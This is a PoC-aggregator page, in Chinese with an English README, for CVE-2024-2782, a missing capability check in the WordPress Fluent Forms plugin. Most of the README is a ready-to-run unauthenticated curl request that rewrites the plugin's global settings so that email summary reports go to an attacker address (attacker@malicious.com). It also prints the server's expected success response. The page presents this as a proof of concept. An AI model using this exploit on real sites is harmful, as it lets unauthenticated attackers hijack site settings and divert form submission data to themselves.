POC详情: f20738b598e258bf62f7453583c17a347a8ee625

来源
关联漏洞
标题: WordPress plugin Fluent Forms 安全漏洞 (CVE-2024-2782)
描述:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Fluent Forms 5.1.16 版本及之前版本存在安全漏洞,该漏洞源于缺少对 /wp-json/fluenceform/v1/global-settings REST API 端点的功能检查,可以进行未经授权的数据修改
描述
CVE-2024-2782 Proof-of-Concept 
介绍
# CVE-2024-2782-PoC
CVE-2024-2782 Proof-of-Concept 

The Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the /wp-json/fluentform/v1/global-settings REST API endpoint in all versions up to, and including, 5.1.16. This makes it possible for unauthenticated attackers to modify all of the plugin's settings.

**Prerequisites**
- WordPress site with Contact Form – Fluent Forms ≤ 5.1.16 active.
- Attacker can reach the site’s REST API (no authentication needed).

**Exploit Command**
```
curl -i -X POST "http://TARGET/wp-json/fluentform/v1/global-settings"
  -H "Content-Type: application/json"
  -d '{
  "key": "emailSummarySettings",
  "email_report": "{"send_to_type":"custom","custom_recipients":"attacker@malicious.com"}"
}'
```
Expected Response
```
HTTP/1.1 200 OK
Date: Thu, 31 Jul 2025 13:11:49 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.3.11
X-Robots-Tag: noindex
Link: <http://target:9090/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Allow: POST
Content-Length: 4
Content-Type: application/json; charset=UTF-8

true
```

**Screenshot**
<img width="1117" height="435" alt="image" src="https://github.com/user-attachments/assets/d94eab04-e436-4a2e-b9b2-b6cc39f95a50" />

Verify changes in WordPress database
<img width="940" height="208" alt="image" src="https://github.com/user-attachments/assets/0faa643f-6932-488b-abd0-edbc0070f78d" />
文件快照

[4.0K] /data/pocs/f20738b598e258bf62f7453583c17a347a8ee625 └── [1.8K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。